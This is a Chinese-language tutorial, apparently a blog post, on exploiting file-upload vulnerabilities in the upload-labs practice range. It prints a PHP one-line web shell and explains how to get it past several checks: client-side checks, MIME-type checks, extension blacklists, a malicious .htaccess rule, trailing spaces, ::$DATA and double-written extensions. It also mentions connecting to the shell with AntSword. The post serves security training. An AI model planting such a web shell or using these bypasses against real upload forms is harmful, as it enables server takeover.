Web渗透-文件上传漏洞-上篇

本文涉及的产品
多模态交互后付费免费试用,全链路、全Agent
简介: 文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。

一、概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制基至服务器论陷。,复杂一点的情况是配合webserver的解析漏洞来获取控制权或结合文件包含漏洞。

靶场搭建

github地址:https://github.com/c0ny1/upload-labs

下载解压完整后,放入Apache服务www根目录中

访问网址:http://localhost/upload-labs/

二、文件上传前端检测绕过

漏洞利用方式

1. 一句话木马
<?php @eval($_POST['cmd']);?>
2. 前端检测绕过-Pass-01
  1. 分析
  1. 使用JS进行编写
  2. 文件验证代码编写在前端
  1. 上传一句话木马
  1. 步骤:编写好一句话木马文件,现将木马修改为可以验证通过的文件文件格式,在进行抓包。
  2. 修改前:

  1. 修改后并放行

  1. 访问地址:http://10.196.93.67/upload-labs/upload/3.php
  1. 使用中国蚂剑连接webShell
  1. 打开软件》鼠标右键添加数据》输入信息》点击添加

  1. 连接成功

三、文件上传mime类型检测绕过

简介

常见的mime类型对比网址:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types

示例:Pass-02

  1. 分析
  1. 第二关可以采用第一关方法进行获取webshell
  2. 第二关主要是后端的mime类型验证,并没有进行前端验证
  3. 通关方法:通过抓包获取到后端的mime类型,将其修改为自己想要的格式既可。
  1. 步骤:
  1. 先将a.php中包含的一句话木马上传的服务中,并抓包

  1. 修改Content-Type值为服务器需要的值既可。

四、黑名单绕过

说明

黑名单通常是在后端中定义了一个文件类型的数组,当用户上传文件后,后端会将上传的文件名进行过滤和格式化等操作,最后判断文件名后缀是否存在于文件后缀中,若存在则限制上传。

# 示例代码
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

示例:Pass-3

  1. 修改Apache的配置文件:httpd.conf,并重启服务
AddType application/x-httpd-php .php .phtml .php3 .php3

  1. 绕过方式:将上传的木马文件后缀修改为以前老版本可以识别(大概率成功)。如(php3,php4,phtml......)
  1. 验证
  1. 文件路径:http://10.196.93.67/upload-labs/upload/202406210044594306.php3

五、.htaccess绕过

简介

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

示例:Pass-4

  1. 创建一个.htaccess文件并编写内容

# AddType application/x-httpd-php .php .phtml .php3 .php3
# 表示: 将jpg文件当做php文件解析
AddType application/x-httpd-php .jpg
  1. 第一步上传.htaccess文件

  1. 第二步上传包含一句话木马的jpg文件

  1. 验证
  1. 文件地址:http://10.196.93.67/upload-labs/upload/3.jpg

六、空格绕过

示例:Pass-6

操作步骤:

  1. 第一步:在本地创建一个a.php 的文件
  2. 第二步:正常上上传并抓包
  1. 正常结果:

  1. 添加空格
  1. 添加空格

七、::$data绕过

介绍

在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是,在windows NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加::$DATA来访问。

示例:Pass-8

八、点空点绕过

猜测后端只过滤一次,所以多写一次注入文件,从而达到需要效果。

示例:Pass-9

九、双写绕过

函数讲解

str_ireplace(['php'],"","pphphp")
# 结果:php

示例:Pass-10

上传将php后缀修改为:pphphp既可。

目录
相关文章
|
9天前
|
人工智能 运维 安全
|
7天前
|
人工智能 异构计算
敬请锁定《C位面对面》,洞察通用计算如何在AI时代持续赋能企业创新,助力业务发展!
敬请锁定《C位面对面》,洞察通用计算如何在AI时代持续赋能企业创新,助力业务发展!
|
8天前
|
机器学习/深度学习 人工智能 自然语言处理
B站开源IndexTTS2,用极致表现力颠覆听觉体验
在语音合成技术不断演进的背景下,早期版本的IndexTTS虽然在多场景应用中展现出良好的表现,但在情感表达的细腻度与时长控制的精准性方面仍存在提升空间。为了解决这些问题,并进一步推动零样本语音合成在实际场景中的落地能力,B站语音团队对模型架构与训练策略进行了深度优化,推出了全新一代语音合成模型——IndexTTS2 。
686 23
|
8天前
|
人工智能 测试技术 API
智能体(AI Agent)搭建全攻略:从概念到实践的终极指南
在人工智能浪潮中,智能体(AI Agent)正成为变革性技术。它们具备自主决策、环境感知、任务执行等能力,广泛应用于日常任务与商业流程。本文详解智能体概念、架构及七步搭建指南,助你打造专属智能体,迎接智能自动化新时代。
|
14天前
|
人工智能 JavaScript 测试技术
Qwen3-Coder入门教程|10分钟搞定安装配置
Qwen3-Coder 挑战赛简介:无论你是编程小白还是办公达人,都能通过本教程快速上手 Qwen-Code CLI,利用 AI 轻松实现代码编写、文档处理等任务。内容涵盖 API 配置、CLI 安装及多种实用案例,助你提升效率,体验智能编码的乐趣。
1122 110
|
人工智能 数据可视化 数据挖掘
Quick BI 体验&征文有奖!
瓴羊生态推出Quick BI 征文激励计划,鼓励用户分享数据分析实践经验与技术洞察,征集高质量原创文章。内容围绕AI功能体验与BI案例实践,设季奖、年奖及参与奖,优秀作者可获现金奖励、产品内测资格及官方认证形象。投稿截止至2026年3月31日。
Quick BI 体验&征文有奖!